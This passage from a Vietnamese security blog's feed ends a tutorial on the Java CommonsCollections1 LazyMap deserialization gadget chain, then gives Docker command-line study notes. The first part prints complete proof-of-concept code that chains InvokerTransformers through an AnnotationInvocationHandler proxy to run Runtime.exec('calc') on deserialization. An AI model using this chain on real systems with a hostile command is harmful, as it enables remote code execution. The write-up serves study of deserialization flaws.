oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class), </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>,</span><br><span class="line">                        <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span></span><br><span class="line">                        , <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        HashMap&lt;Object, Object&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        <span class="type">Map</span> <span class="variable">lazyMap</span> <span class="operator">=</span> LazyMap.decorate(hashMap, chainedTransformer);</span><br><span class="line">        <span class="comment">//lazyMap.get(null);</span></span><br><span class="line">        <span class="type">Class</span> <span class="variable">aihClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">aihConstructor</span> <span class="operator">=</span> aihClass.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">        aihConstructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">InvocationHandler</span> <span class="variable">aihInstance</span> <span class="operator">=</span> (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);</span><br><span class="line">        <span class="type">Map</span> <span class="variable">proxyMap</span> <span class="operator">=</span> (Map) Proxy.newProxyInstance(aihClass.getClassLoader(), <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Map.class&#125;,aihInstance);</span><br><span class="line">        <span class="type">Set</span> <span class="variable">set</span> <span class="operator">=</span> proxyMap.entrySet();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Chuoi-hoan-chinh"><a href="#Chuoi-hoan-chinh" class="headerlink" title="Chuỗi hoàn chỉnh"></a>Chuỗi hoàn chỉnh</h3><p>Để ý một chút ở hàm readObject của lớp <code>AnnotationInvocationHandler</code></p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/12/15/CommonsCollections1-LazyMap/AnnotationInvocationHandler-readObject.png"></p><p><code>this.memberValues</code> là LazyMap chúng ta có thể truyền vào, và nó gọi đến entrySet(). Do đó khi readObject của lớp <code>AnnotationInvocationHandler</code> thực thi chúng ta có thể kích hoạt câu lệnh calc.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationHandler;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>,</span><br><span class="line">                        <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span></span><br><span class="line">                        , <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        HashMap&lt;Object, Object&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        <span class="type">Map</span> <span class="variable">lazyMap</span> <span class="operator">=</span> LazyMap.decorate(hashMap, chainedTransformer);</span><br><span class="line">        <span class="comment">//lazyMap.get(null);</span></span><br><span class="line">        <span class="type">Class</span> <span class="variable">aihClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">aihConstructor</span> <span class="operator">=</span> aihClass.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">        aihConstructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">InvocationHandler</span> <span class="variable">aihInstance</span> <span class="operator">=</span> (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);</span><br><span class="line">        <span class="type">Map</span> <span class="variable">proxyMap</span> <span class="operator">=</span> (Map) Proxy.newProxyInstance(aihClass.getClassLoader(), <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Map.class&#125;,aihInstance);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">aihProxyObject</span> <span class="operator">=</span> aihConstructor.newInstance(Override.class, proxyMap);</span><br><span class="line">        serialize(aihProxyObject);</span><br><span class="line">        unserialize(<span class="string">&quot;ser.bin&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/12/15/CommonsCollections1-LazyMap/ChuoiHoanChinh.png"></p><p>Máy tính đã bật lên và chuỗi của chúng ta đã được xây dựng thành công~</p><h2 id="Loi-ket"><a href="#Loi-ket" class="headerlink" title="Lời kết"></a>Lời kết</h2><p>Proxy động là một kiến thức khá phức tạp với những bạn mới bắt đầu, mình khuyên các bạn chỉ cần học và hiểu cách sử dụng, đừng đào sâu vào code gốc bởi vì đó là một lượng kiến thức lớn do những người đi trước đã viết ra.<br>Khi khởi tạo Proxy động cần đến class loader các bạn chỉ cần biết tải lớp nào cần class loader nào là đủ hoặc cứ cho đại null, không đúng thì abc.class.getClassLoader(), không cần tìm hiểu sâu vào nó.</p><blockquote><p>Chúc các bạn học tốt~</p></blockquote>]]></content:encoded>
      
      
      <category domain="https://rayinaw.github.io/categories/Java/">Java</category>
      
      <category domain="https://rayinaw.github.io/categories/Java/Deserialization/">Deserialization</category>
      
      
      <category domain="https://rayinaw.github.io/tags/Java/">Java</category>
      
      <category domain="https://rayinaw.github.io/tags/Deserialization/">Deserialization</category>
      
      <category domain="https://rayinaw.github.io/tags/Commons-Collections/">Commons Collections</category>
      
      
      <comments>https://rayinaw.github.io/2022/12/15/CommonsCollections1-LazyMap/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Một bản ghi chép nhỏ về Docker</title>
      <link>https://rayinaw.github.io/2022/12/03/docker-learning/</link>
      <guid>https://rayinaw.github.io/2022/12/03/docker-learning/</guid>
      <pubDate>Fri, 02 Dec 2022 18:13:09 GMT</pubDate>
      
        
        
      <description>&lt;h1 id=&quot;Docker-Command-Line&quot;&gt;&lt;a href=&quot;#Docker-Command-Line&quot; class=&quot;headerlink&quot; title=&quot;Docker Command Line&quot;&gt;&lt;/a&gt;Docker Command Line&lt;/h1&gt;&lt;h2 i</description>
        
      
      
      
      <content:encoded><![CDATA[<h1 id="Docker-Command-Line"><a href="#Docker-Command-Line" class="headerlink" title="Docker Command Line"></a>Docker Command Line</h1><h2 id="Thao-tac-voi-moi-lan-chay"><a href="#Thao-tac-voi-moi-lan-chay" class="headerlink" title="Thao tác với mỗi lần chạy:"></a>Thao tác với mỗi lần chạy:</h2><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="language-bash"> busybox:1.24 <span class="built_in">echo</span> <span class="string">&quot;hello world!&quot;</span></span></span><br><span class="line"></span><br><span class="line">docker <span class="keyword">run</span><span class="language-bash"> busybox:1.24 <span class="built_in">ls</span> /</span></span><br></pre></td></tr></table></figure><h2 id="i-va-t-flag"><a href="#i-va-t-flag" class="headerlink" title="-i và -t flag:"></a>-i và -t flag:</h2><p>Flag -i dùng để mở một tương tác với container, giữ cho nó tiếp tục được mở để thực thi những tác vụ tiếp.<br>Flag -t dùng để tạo một pseudo-TTY(TTY tương tự như shell command trong linux), có nghĩa là tạo một shell của image rồi gắn vào terminal của mình.</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="language-bash"> -i -t busybox:1.24</span></span><br><span class="line">hay</span><br><span class="line">docker <span class="keyword">run</span><span class="language-bash"> -it busybox:1.24</span></span><br><span class="line">Kết quả:</span><br><span class="line">&gt; docker <span class="keyword">run</span><span class="language-bash"> -it busybox:1.24</span></span><br><span class="line">/ <span class="comment"># ls</span></span><br><span class="line">bin   dev   etc   home  proc  root  sys   tmp   usr   var</span><br></pre></td></tr></table></figure><h2 id="Docker-container-va-d-flag"><a href="#Docker-container-va-d-flag" class="headerlink" title="Docker container và -d flag:"></a>Docker container và -d flag:</h2><p>Khi chạy một cách bình thường, nó sẽ thực thi lệnh trực tiếp trên terminal của chúng ta (run container in foreground). Nhưng nếu chúng ta muốn nó không chạy trên terminal mà chạy ở trong container (run container in background).<br>Ví dụ khi chạy lệnh sleep 1000:</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Không chạy với tag -d:</span><br><span class="line">docker <span class="keyword">run</span><span class="language-bash">  busybox:1.24 <span class="built_in">sleep</span> 1000</span></span><br><span class="line">nó sẽ sleep trực tiếp trên terminal(mở terminal mới đi bro :P)</span><br><span class="line">Chạy với tag -d:</span><br><span class="line">docker <span class="keyword">run</span><span class="language-bash"> -d busybox:1.24 <span class="built_in">sleep</span> 1000</span></span><br><span class="line">&gt; docker ps</span><br><span class="line">CONTAINER ID   IMAGE          COMMAND        CREATED         STATUS         PORTS     NAMES</span><br><span class="line"><span class="number">4</span>b69615931bb   busybox:<span class="number">1.24</span>   <span class="string">&quot;sleep 1000&quot;</span>   <span class="number">7</span> seconds ago   Up <span class="number">6</span> seconds             eloquent_newton</span><br></pre></td></tr></table></figure><p>Để xem container đang chạy gõ <code>docker ps</code>(chạy trong background hoặc trên terminal), với container đã dừng gõ <code>docker ps -a</code>.<br>Để không lưu lại container khi kết thúc docker container chúng ta dùng tag –rm, khi đó nếu quy trình kết thúc, docker sẽ tự động xóa container mà không lưu vào <code>docker ps -a</code>.</p><h2 id="–name-flag"><a href="#–name-flag" class="headerlink" title="–name flag:"></a>–name flag:</h2><p>Đặt tên cho container mỗi lần chạy.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run --name hello_world busybox:1.24</span><br></pre></td></tr></table></figure><h2 id="p-flag"><a href="#p-flag" class="headerlink" title="-p flag:"></a>-p flag:</h2><p><code>-p host_port:container_port</code> : map cổng của container sang cổng máy thật. Chúng ta có thể map nhiều cặp port một lần bằng cách viết liên tiếp những cặp đó <code>-p 8888:8080 80:4444</code>.<br>Ví dụ với tomcat server, tomcat là một open source web server thực thi Java servlet. Tomcat image này chạy ở port 8080:</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="language-bash"> -it -p 8888:8080 tomcat:8.0</span></span><br></pre></td></tr></table></figure><p>Đợi một lát để nó pull tomcat:8.0 về.<br>Sau khi tải xong truy cập <a href="http://localhost:8888/">http://localhost:8888/</a> trên browser. Tomcat đã chạy trên port 8888.<br>Mình sẽ giải thích một chút:</p><ul><li>Tomcat này là một container (xem như là một máy ảo cho dễ hình dung nhưng hầu như không phải nhé ^^), nó chạy trên port 8080 của máy chủ tomcat này.</li><li>Sau khi map qua cổng của localhost, cổng 8888 bây giờ sẽ như là cổng 8080 của máy chủ tomcat vậy.</li></ul><h2 id="Docker-log"><a href="#Docker-log" class="headerlink" title="Docker log:"></a>Docker log:</h2><p>Khi chạy một server qua terminal, nhật kí sẽ được ghi lại trực tiếp ở trên terminal. Khi chạy server qua container background để xem nhật kí của server chúng ta sử dụng câu lệnh <code>docker logs</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&gt; docker run -it -d -p 8888:8080 tomcat:8.0</span><br><span class="line">4cc4583095b59189adaa0dc202944d5cdd5968df403584a84b26d6e57c585bd7</span><br><span class="line">pwn@DESKTOP-AC6UABE:pts/3-&gt;/home/pwn (0)</span><br><span class="line">&gt; docker logs 4cc4583095b59189adaa0dc202944d5cdd5968df403584a84b26d6e57c585bd7</span><br><span class="line">Using CATALINA_BASE:   /usr/local/tomcat</span><br><span class="line">Using CATALINA_HOME:   /usr/local/tomcat</span><br><span class="line">Using CATALINA_TMPDIR: /usr/local/tomcat/temp</span><br><span class="line">Using JRE_HOME:        /docker-java-home/jre</span><br><span class="line">......phần log ở dưới dài nên mình cắt......</span><br><span class="line">Hoặc lấy id từ docker ps rồi docker logs &lt;id&gt;</span><br></pre></td></tr></table></figure><h2 id="Docker-pull"><a href="#Docker-pull" class="headerlink" title="Docker pull:"></a>Docker pull:</h2><p>Câu lệnh này dùng để lấy image từ trên hub của docker về. Ví dụ:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">docker pull mysql:lastest</span><br><span class="line">docker pull nginx</span><br></pre></td></tr></table></figure><h2 id="Docker-commit"><a href="#Docker-commit" class="headerlink" title="Docker commit:"></a>Docker commit:</h2><p>Lệnh <code>docker commit</code> dùng để lưu những thay đổi trong file system của một Docker container vào image mới.<br>Syntax: <code>docker commit container_id repository_name:tag</code></p><h2 id="Docker-build-command"><a href="#Docker-build-command" class="headerlink" title="Docker build command"></a>Docker build command</h2><p>Câu lệnh <code>docker build</code> dùng để build một image từ một Dockerfile và context (nơi chứa những thứ như file php, java,… cần dùng để build). Hai thứ này được chứa trong cùng một folder, chúng ta gắn URL hoặc path để chỉ cho docker biết nơi chứa 2 cái này.<br>Systax:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">docker build [OPTIONS] PATH</span><br><span class="line">Ví dụ:</span><br><span class="line">docker build -t image_name .</span><br></pre></td></tr></table></figure><ul><li>-t flag dùng để đặt tên cho image.</li><li>Dấu <code>.</code> để nói cho docker biết là tìm Dockerfile ở thư mục hiện tại, đây là path dẫn đến Dockerfile.</li></ul><h2 id="Docker-inspect"><a href="#Docker-inspect" class="headerlink" title="Docker inspect:"></a>Docker inspect:</h2><p>Mô tả thông tin low level của một container hay image.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&gt; docker run -d busybox:1.24 sleep 100</span><br><span class="line">0c06e0155702fcb6dc7969eac63f68d74f5781dbc6960461ee88dc3c15942ea9</span><br><span class="line">pwn@DESKTOP-AC6UABE:pts/4-&gt;/home/pwn (0)</span><br><span class="line">&gt; docker inspect 0c06e0155702fcb6dc7969eac63f68d74f5781dbc6960461ee88dc3c15942ea9</span><br></pre></td></tr></table></figure><h2 id="Go-Image-va-Container"><a href="#Go-Image-va-Container" class="headerlink" title="Gỡ Image và Container:"></a>Gỡ Image và Container:</h2><h3 id="Go-container"><a href="#Go-container" class="headerlink" title="Gỡ container:"></a>Gỡ container:</h3><ul><li>Đầu tiên phải dừng container đang chạy: <code>docker stop &lt;id container&gt;</code></li><li>Gõ <code>docker ps -a</code> để xem container đã dừng.</li><li><code>docker rm -f &lt;id container đã dừng&gt;</code>, -f flag ở đây là cờ bắt buộc gỡ, nên xài để gỡ thuận tiện hơn.</li></ul><h3 id="Go-image"><a href="#Go-image" class="headerlink" title="Gỡ image:"></a>Gỡ image:</h3><ul><li><code>docker rmi &lt;tên image&gt;</code></li></ul><h1 id="Docker-Container’s-Filesystem"><a href="#Docker-Container’s-Filesystem" class="headerlink" title="Docker Container’s Filesystem"></a>Docker Container’s Filesystem</h1><h2 id="Docker-images-va-layers"><a href="#Docker-images-va-layers" class="headerlink" title="Docker images và layers:"></a>Docker images và layers:</h2><p>Một Docker images được xây dựng từ những layer. Mỗi layer đại diện cho mỗi lệnh trong Dockerfile, hay khi chạy lệnh bằng cách build thông qua Docker Commint Command ở phần sau.<br>Mỗi câu lệnh có thay đổi file của một container đều tạo ra một layer mới. Để dễ hình dung chúng ta cùng đi qua ví dụ sau(Lấy từ docs.docker.com):</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">18.04</span></span><br><span class="line"><span class="keyword">LABEL</span><span class="language-bash"> org.opencontainers.image.authors=<span class="string">&quot;org@example.com&quot;</span></span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> . /app</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> make /app</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> <span class="built_in">rm</span> -r <span class="variable">$HOME</span>/.cache</span></span><br><span class="line"><span class="keyword">CMD</span><span class="language-bash"> python /app/app.py</span></span><br></pre></td></tr></table></figure><p>Khi chạy file trên, nó sẽ tạo ra một Docker image mới có cấu hình theo các câu lệnh được chạy ở file trên. Câu lệnh LABEL không liên quan đến file hệ thống. Câu lệnh COPY thêm file ở thư mục chứa Dockerfile vào thư mục &#x2F;app của container. Tuy nhiên nó chỉ COPY trong quá trình chạy, để viết thay đổi đó vào layer của một image mới chúng ta cần chạy lệnh <code>RUN make /app</code>, khi này một layer mới mới được tạo. <code>RUN rm -r $HOME/.cache</code> gỡ thư mục cache, câu lệnh RUN này sẽ tạo ra một layer mới. Câu lệnh CMD cuối cùng chỉ để chạy command python khi container đang chạy và không tạo layer mới.</p><p>Để xem các layers của một image chúng ta dùng lệnh <code>docker image history &lt;id&gt;</code></p><h2 id="Docker-container-va-writable-layer"><a href="#Docker-container-va-writable-layer" class="headerlink" title="Docker container và writable layer:"></a>Docker container và writable layer:</h2><p>Docker container được tạo từ những docker image chỉ đọc hay không thay đổi được. Một docker container được tạo từ một image sẽ có thêm một lớp ở trên, lớp này được gọi là <code>writable layer</code>hay <code>container layer</code>. Mọi thay đổi trong container này sẽ được lưu vào lớp này.</p><p>Khi nghiên cứu tới đây, mình có một thắc mắc là như đã nói, khi tạo một container việc thay đổi trong container này chỉ thay đổi lớp writable, rồi một image là không thay đổi được vậy thì tại sao chúng ta có thể thay đổi file hệ thống khi chạy container?. Theo mình hiểu thì nó như này:</p><ul><li>Khi chúng ta tạo một container, nó như là một máy mới được tạo ra vậy, chúng ta có thể thay đổi các file, folder trong máy mới này. Nó sẽ không ảnh hưởng gì đến các image cả vì nó riêng biệt mà.</li><li>Thế rồi writable đó để làm gì? Khi thay đổi một container chạy từ một image rồi lưu lại thành một image mới, người ta sẽ lưu lại quy trình theo từng bước khiến file hệ thống bị thay đổi để tạo quá trình build image mới này có trình tự, và chắc cũng dễ dàng hơn. Và khi này những bước thay đổi đó sẽ được lưu xuống lớp writable, nếu chúng ta commit thay đổi này, những cái thay đổi thực hiện ghi lại trong lớp writable này sẽ được lưu lại theo những layer mới xếp chồng lên những layer của image cũ.</li></ul><h1 id="Cach-build-mot-Docker-image"><a href="#Cach-build-mot-Docker-image" class="headerlink" title="Cách build một Docker image:"></a>Cách build một Docker image:</h1><p>Có hai cách để build một docker image:</p><ul><li>Commit những cái đã build, thay đổi trong một Docker container vào một image mới.</li><li>Viết một Dockerfile.<br>Bây giờ chúng ta cùng đi cụ thể vào từng cách để build một docker image.</li></ul><h2 id="Build-Docker-Images-by-using-Docker-Commit-Command"><a href="#Build-Docker-Images-by-using-Docker-Commit-Command" class="headerlink" title="Build Docker Images by using Docker Commit Command:"></a>Build Docker Images by using Docker Commit Command:</h2><p>Giả sử chúng ta chúng ta có một base image là một debian (hệ điều hành tương tự linux), khi run image này nó không có Git command. Bây giờ để thuận tiện hơn chúng ta tạo một image mới có cài sẵn Git dựa trên debian image kia để chúng ta không phải cài lại Git mỗi lần chạy. Khi đó chúng ta có ba bước để thực hiện như sau:</p><ul><li><ol><li>Tạo một container từ base image</li></ol></li><li><ol start="2"><li>Install Git pakage trong container.</li></ol></li><li><ol start="3"><li>Commit thay đổi trong container đã làm.<figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Pull và chạy debian</span></span><br><span class="line">docker <span class="keyword">run</span><span class="language-bash"> -it debian:jessie</span></span><br><span class="line"><span class="comment"># Cài Git cho container này</span></span><br><span class="line">apt-get update &amp;&amp; apt-get install --force-yes git</span><br><span class="line"><span class="comment"># Commit thay đổi, gõ &quot;docker ps -a&quot; để lấy id của container này.</span></span><br><span class="line">docker commit ba638bca3016 rayinaw/debian:update</span><br><span class="line"><span class="comment"># Trả về sha256:3e6332e9ae0a1597a25d213bf42b0592e3291969259d631c3eacc893f4735171</span></span><br><span class="line">Gõ docker images để thấy một image mới đã được tạo. Size nó lớn hơn debian cũ <span class="number">100</span> mb, là dung lượng của git.</span><br><span class="line">Bây giờ chạy để test.</span><br><span class="line">docker <span class="keyword">run</span><span class="language-bash"> -it rayinaw/debian:update</span></span><br><span class="line">Gõ git trong terminal của debian chúng ta tạo, git đã được cài vào image mới thành công.</span><br></pre></td></tr></table></figure></li></ol></li></ul><h2 id="Build-Docker-Images-by-writing-DockerFile"><a href="#Build-Docker-Images-by-writing-DockerFile" class="headerlink" title="Build Docker Images by writing DockerFile:"></a>Build Docker Images by writing DockerFile:</h2><h3 id="Dockerfile-la-gi"><a href="#Dockerfile-la-gi" class="headerlink" title="Dockerfile là gì?"></a>Dockerfile là gì?</h3><p>Dockerfile là một file văn bản chứa những lệnh user cung cấp để build các image một cách tự động từ Dockerfile. Tên của Dockerfile phải là <code>Dockerfile</code> với D viết hoa ở đầu.<br>Mỗi lệnh trong Dockerfile sẽ tạo một image layer mới đối với image này. Các lệnh sẽ chỉ định điều cần làm khi building image.<br>Khi building image, Docker sẽ thực hiện quy trình tương tự như việc chúng ta build bằng commit command. Docker sẽ build lần lượt từng layer, khi build xong ở trong lớp writable container, nó sẽ viết xuống image mới, sau đó remove container đó, rồi lần lượt theo trình tự đó cho đến khi build đủ các layer trong Dockerfile. Việc viết xuống image mình không biết nó lưu ở đâu, nếu muốn tìm hiểu các bạn có thể tìm hiểu thêm về Docker daemon.</p><h3 id="Viet-mot-Dockerfile"><a href="#Viet-mot-Dockerfile" class="headerlink" title="Viết một Dockerfile:"></a>Viết một Dockerfile:</h3><p>Câu lệnh đầu tiên trong <code>Dockerfile</code> là câu lệnh <code>FROM</code> (viết hoa để phân biệt với from arguments), dùng để chỉ định base image.</p><h4 id="Cau-lenh-RUN"><a href="#Cau-lenh-RUN" class="headerlink" title="Câu lệnh RUN:"></a>Câu lệnh RUN:</h4><ul><li>Dùng để chỉ định câu lệnh thực thi khi chạy base image.</li><li>Câu lệnh RUN sẽ thực thi câu lệnh trong writable layer của container, sau đó commit container xuống image 